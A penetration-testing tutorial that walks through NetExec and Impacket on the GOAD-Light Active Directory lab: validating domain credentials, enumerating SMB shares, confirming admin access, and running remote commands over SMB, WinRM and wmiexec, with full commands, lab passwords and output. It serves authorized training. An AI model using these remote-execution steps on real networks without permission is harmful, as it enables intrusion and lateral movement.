NetExec Remote Command Execution with SMB, WinRM, and Impacket

Tested on Kali GNU/Linux Rolling 2026.2 (kali-rolling)
Package netexec 1.5.1
python3-impacket 0.13.0+git
impacket-scripts 1.10
smbclient 4.24.3
Lab environment Proxmox lab
Cert prep CompTIA PenTest+ PT0-003 — Domain 4a (Network attacks)
Privilege Domain credentials for SMB and WinRM; sudo only if you install packages on the management NIC
Scope SMB credential validation, share enumeration, and remote command execution with NetExec (nxc); WinRM command execution; semi-interactive shells with Impacket wmiexec. Uses GOAD-Light on 10.10.10.22 (castelblack). Does not cover NTLM relay, pass-the-hash, password spraying, or Kerberoasting — those are separate lessons.
Related guides Map AD attack paths with BloodHound
Penetration testing rules of engagement
Short on time?Beta Get the gist of this 10-minute read in seconds, then ask follow-up questions

After you recover domain credentials — from SMB enumeration, a cracked Responder capture, or another authorized path — the next question is what those credentials unlock on live services. NetExec (nxc) validates SMB and WinRM authentication, enumerates shares, checks for administrative SMB access, and runs one-shot remote commands. Impacket provides dedicated protocol-specific tools such as wmiexec, psexec, smbexec, and atexec when you want direct control over a particular remote-execution mechanism.

This lesson walks through that workflow on GOAD-Light from Kali: authenticate, enumerate shares, confirm (Pwn3d!) admin access, execute over SMB and WinRM, and open a semi-interactive Impacket session.

IMPORTANT
Run NetExec and Impacket only against systems covered by your engagement authorization. Remote execution and share access are logged on domain controllers and member servers.

NetExec and Impacket quick start

Run a single command on the GOAD-Light member server with an admin-capable credential:

bash
nxc smb 10.10.10.22 -u eddard.stark -p 'FightP3aceAndHonor!' -d north.sevenkingdoms.local -x whoami
output
SMB                      10.10.10.22     445    CASTELBLACK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:None)
SMB                      10.10.10.22     445    CASTELBLACK      [+] north.sevenkingdoms.local\eddard.stark:FightP3aceAndHonor! (Pwn3d!)
SMB                      10.10.10.22     445    CASTELBLACK      [+] Executed command via wmiexec
SMB                      10.10.10.22     445    CASTELBLACK      north\eddard.stark

Valid authentication alone is not enough; remote SMB execution requires administrative access on the target. (Pwn3d!) is NetExec's signal that the credential has that access, and Executed command via wmiexec confirms the command ran.

The sections below cover lab variables, plain authentication, share enumeration, the administrative access check, SMB and WinRM execution, and Impacket wmiexec.


How NetExec and Impacket fit together

Both toolchains speak Windows remote-management protocols, but they solve different parts of the workflow:

Tool Role in this lesson Typical use
NetExec (nxc) Validate creds; enumerate shares; check SMB admin access; run one-shot commands Fast AD-wide checks from Kali
Impacket (impacket-wmiexec, impacket-atexec, …) Dedicated clients for specific Windows remote-execution mechanisms Semi-interactive shells after you confirm access

NetExec can target one host, an IP range/CIDR, or a target list, which makes the same authentication and execution workflow useful across multiple in-scope Windows hosts.

NetExec is the successor to CrackMapExec on current Kali images. Impacket scripts ship as impacket-<tool> wrappers installed by the python3-impacket and impacket-scripts packages.

Authenticated SMB access does not automatically mean you can run commands. For SMB, NetExec appends (Pwn3d!) when it confirms the credential has administrative access suitable for remote execution on that host.


Prepare GOAD-Light credentials

Set these once on Kali before you run the commands in this lesson:

bash
DOMAIN_CHILD=north.sevenkingdoms.local
LAB_MEMBER=10.10.10.22
LAB_USER=robb.stark
LAB_PASS=sexywolfy
LAB_ADMIN_USER=eddard.stark
LAB_ADMIN_PASS='FightP3aceAndHonor!'
Variable Purpose
DOMAIN_CHILD Child domain on GOAD-Light (north.sevenkingdoms.local)
LAB_MEMBER Member server castelblack (10.10.10.22)
LAB_ADMIN_USER / LAB_ADMIN_PASS Domain administrator used here to demonstrate remote execution after high-privilege access

The low-privilege robb.stark account is enough for share enumeration. The administrator account demonstrates SMB and WinRM execution — the outcome you aim for after relay, password recovery, or other authorized AD attacks in later lessons.


Authenticate to SMB with NetExec

Before you enumerate shares or run commands, confirm the credential works on the target:

bash
nxc smb "$LAB_MEMBER" -u "$LAB_USER" -p "$LAB_PASS" -d "$DOMAIN_CHILD"
output
SMB                      10.10.10.22     445    CASTELBLACK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:None)
SMB                      10.10.10.22     445    CASTELBLACK      [+] north.sevenkingdoms.local\robb.stark:sexywolfy

Authentication alone does not grant remote command execution. The next sections separate authentication from administrative authorization and execution.


Enumerate SMB shares with NetExec

With valid credentials, list shares and permissions on the member server:

bash
nxc smb "$LAB_MEMBER" -u "$LAB_USER" -p "$LAB_PASS" -d "$DOMAIN_CHILD" --shares
output
SMB                      10.10.10.22     445    CASTELBLACK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:None)
SMB                      10.10.10.22     445    CASTELBLACK      [+] north.sevenkingdoms.local\robb.stark:sexywolfy
SMB                      10.10.10.22     445    CASTELBLACK      [*] Enumerated shares
SMB                      10.10.10.22     445    CASTELBLACK      Share           Permissions     Remark
SMB                      10.10.10.22     445    CASTELBLACK      -----           -----------     ------
SMB                      10.10.10.22     445    CASTELBLACK      ADMIN$                          Remote Admin
SMB                      10.10.10.22     445    CASTELBLACK      all             READ,WRITE      Basic RW share for all
SMB                      10.10.10.22     445    CASTELBLACK      C$                              Default share
SMB                      10.10.10.22     445    CASTELBLACK      IPC$            READ            Remote IPC
SMB                      10.10.10.22     445    CASTELBLACK      public          READ,WRITE      Basic Read share for all domain users

public and all grant read/write access to standard domain users. ADMIN$ and C$ are administrative shares; you need administrative SMB access to use them for execution or file copy.


Browse a share with smbclient

NetExec tells you which shares exist. smbclient lets you list files inside a share with the same credential:

bash
smbclient "//$LAB_MEMBER/public" -U "$DOMAIN_CHILD/$LAB_USER%$LAB_PASS" -c 'ls'
output
  .                                   D        0  Mon Aug 31 10:46:59 2026
  ..                                  D        0  Mon Aug 31 10:46:59 2026

		10485247 blocks of size 4096. 5333168 blocks available

An empty directory is normal on a fresh GOAD snapshot. The important result is that authentication succeeded and the share is reachable — evidence you can include in a report before you attempt execution.


Check admin access with (Pwn3d!)

Separate authentication from authorization before you run remote commands. On SMB, NetExec appends (Pwn3d!) when the credential has administrative access on that host.

Test the domain administrator credential first:

bash
nxc smb "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD"
output
SMB                      10.10.10.22     445    CASTELBLACK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:None)
SMB                      10.10.10.22     445    CASTELBLACK      [+] north.sevenkingdoms.local\eddard.stark:FightP3aceAndHonor! (Pwn3d!)

(Pwn3d!) means NetExec confirmed administrative SMB access on castelblack. That is the signal to proceed with -x execution.

The robb.stark credential from the earlier authentication step returned a plain [+] with no (Pwn3d!). Share enumeration still has value with that account, but remote SMB command execution does not.


Run commands over SMB with NetExec

Without --exec-method, NetExec attempts supported execution backends in order, starting with wmiexec and falling back to atexec and smbexec if needed. Use --exec-method when you want to force a specific backend.

Method How it executes Typical context
wmiexec WMI Runs in the authenticated user context
atexec Scheduled Task Often executes as NT AUTHORITY\SYSTEM
smbexec Temporary service Typically SYSTEM

Exact behavior depends on target configuration and privileges.

Run a single command with the default failover behavior:

bash
nxc smb "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD" -x whoami
output
SMB                      10.10.10.22     445    CASTELBLACK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:None)
SMB                      10.10.10.22     445    CASTELBLACK      [+] north.sevenkingdoms.local\eddard.stark:FightP3aceAndHonor! (Pwn3d!)
SMB                      10.10.10.22     445    CASTELBLACK      [+] Executed command via wmiexec
SMB                      10.10.10.22     445    CASTELBLACK      north\eddard.stark

-x runs the command through cmd.exe. -X runs through PowerShell:

bash
nxc smb "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD" -X 'hostname'
output
SMB                      10.10.10.22     445    CASTELBLACK      [+] Executed command via wmiexec
SMB                      10.10.10.22     445    CASTELBLACK      castelblack

Force atexec when you want the Task Scheduler backend explicitly:

bash
nxc smb "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD" --exec-method atexec -x whoami
output
SMB                      10.10.10.22     445    CASTELBLACK      [+] north.sevenkingdoms.local\eddard.stark:FightP3aceAndHonor! (Pwn3d!)
SMB                      10.10.10.22     445    CASTELBLACK      [+] Executed command via atexec
SMB                      10.10.10.22     445    CASTELBLACK      nt authority\system

atexec uses the Windows Task Scheduler and commonly executes the scheduled command as NT AUTHORITY\SYSTEM, which is why whoami returned SYSTEM here. That is different from wmiexec, which returned north\eddard.stark in the authenticated user context.

Document the target hostname, execution method, and account context in your notes. That metadata belongs in a penetration test report even when the command output itself is short.


Run commands over WinRM with NetExec

Windows Remote Management listens on TCP 5985 (HTTP) on GOAD-Light servers. NetExec tests WinRM authentication and runs commands when the account is authorized:

bash
nxc winrm "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD" -x whoami
output
WINRM                    10.10.10.22     5985   CASTELBLACK      [*] Windows 10 / Server 2019 Build 17763 (name:CASTELBLACK) (domain:north.sevenkingdoms.local)
WINRM                    10.10.10.22     5985   CASTELBLACK      [+] north.sevenkingdoms.local\eddard.stark:FightP3aceAndHonor! (Pwn3d!)
WINRM                    10.10.10.22     5985   CASTELBLACK      [+] Executed command (shell type: cmd)
WINRM                    10.10.10.22     5985   CASTELBLACK      north\eddard.stark

In this GOAD-Light lab, successful NetExec WinRM command execution required an admin-capable account. In real environments, WinRM access depends on the endpoint's remoting permissions and group configuration; local administrators commonly have access, but they are not the only possible authorized principals.

The low-privilege robb.stark account failed WinRM authentication in our lab runs.


Use Impacket wmiexec directly

When you need more than a one-shot command, Impacket's wmiexec executes commands through WMI/DCOM and normally uses SMB to retrieve command output, presenting the result as a semi-interactive shell:

bash
impacket-wmiexec "$DOMAIN_CHILD/$LAB_ADMIN_USER:$LAB_ADMIN_PASS@$LAB_MEMBER"
output
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
north\eddard.stark

C:\>exit

Kali packages a development snapshot of Impacket, so the command may report an upstream development version such as 0.14.0.dev0 even though the Kali package version is based on 0.13.0.

Type exit to close the shell. Other Impacket clients — impacket-smbexec, impacket-atexec, and impacket-psexec — use different Windows remote-execution mechanisms such as WMI, scheduled tasks, or service creation; NetExec's --exec-method flag maps to the same family of techniques.


Troubleshooting NetExec and Impacket on GOAD-Light

Symptom Likely cause Fix
STATUS_LOGON_FAILURE on SMB or WinRM Wrong password, domain, or locked account Confirm DOMAIN_CHILD and credentials; verify the GOAD snapshot is clean
[+] auth but no (Pwn3d!) on SMB Account lacks administrative SMB access on the target Use an admin-capable principal or pursue privilege escalation
[+] and (Pwn3d!) but no Executed command output Execution method blocked on the target Try --exec-method atexec or --exec-method smbexec
rpc_s_access_denied from Impacket Authenticated but not authorized for that RPC path Confirm administrative access, then verify that WMI/DCOM is reachable and permitted on the target
--shares returns empty or errors Wrong domain or SMB blocked Confirm $LAB_MEMBER is 10.10.10.22 and credentials are valid
WinRM auth fails for a user that works on SMB WinRM not authorized for that principal Try SMB exec methods or another account permitted for remoting

Summary

NetExec turns recovered domain credentials into concrete service access on Active Directory lab hosts. Authenticate with nxc smb, enumerate shares, and look for (Pwn3d!) before attempting SMB command execution. Test WinRM separately, because remoting access depends on the target's WinRM permissions and group configuration rather than SMB authorization. Low-privilege users such as robb.stark may still prove valuable for share access even when remote execution is blocked.

Without --exec-method, NetExec fails over among wmiexec, atexec, and smbexec. Use -x for cmd.exe commands and -X for PowerShell. Impacket wmiexec complements NetExec when you need a semi-interactive session with direct control over the execution mechanism.

Remote execution is a high-impact action. Record the account, target, method, and output in your engagement notes, and continue with dedicated lessons for NTLM relay, pass-the-hash, and lateral movement once scope permits.


References


Frequently Asked Questions

What is the difference between NetExec and CrackMapExec?

NetExec is the maintained successor to CrackMapExec on current Kali images. The command is nxc. Syntax and modules are similar; documentation and package updates target NetExec going forward.

Does a successful SMB login mean I can run commands?

No. Authentication proves the password works. On SMB, NetExec prints (Pwn3d!) when the account has administrative access suitable for remote execution on that host.

What does (Pwn3d!) mean on SMB?

For SMB, (Pwn3d!) indicates the credential has administrative access suitable for SMB remote execution on that host. NetExec may also display (Pwn3d!) for other protocols such as WinRM, but authorization is evaluated separately for each protocol.

What is the difference between -x and -X in NetExec?

-x executes the command through cmd.exe. -X executes through PowerShell.

When should I use Impacket instead of NetExec?

Use NetExec to test credentials and run one-shot commands across many hosts. Use Impacket when you need a semi-interactive shell such as impacket-wmiexec, or direct control over a specific Windows remote-execution mechanism.

Can I use robb.stark for WinRM after the Responder lesson?

In our GOAD-Light runs, robb.stark authenticated to SMB but not to WinRM, and did not receive (Pwn3d!) for SMB execution. Share access still has reporting value; remote execution requires a higher-privilege principal.

Finished reading?Beta Get the key takeaways in seconds, then ask follow-up questions
Deepak Prasad

R&D Engineer

Founder of GoLinuxCloud with 15+ years of expertise in Linux, Python, Go, Laravel, DevOps, Kubernetes, Git, Shell scripting, OpenShift, AWS, Networking, and Security. With extensive experience, he excels across development, DevOps, networking, and security, delivering robust and efficient solutions for diverse projects.

  • Go (programming language)
  • Python (programming language)
  • DevOps
  • Computer Security
  • Cloud Computing
  • Kubernetes
  • Linux
  • Ansible (software)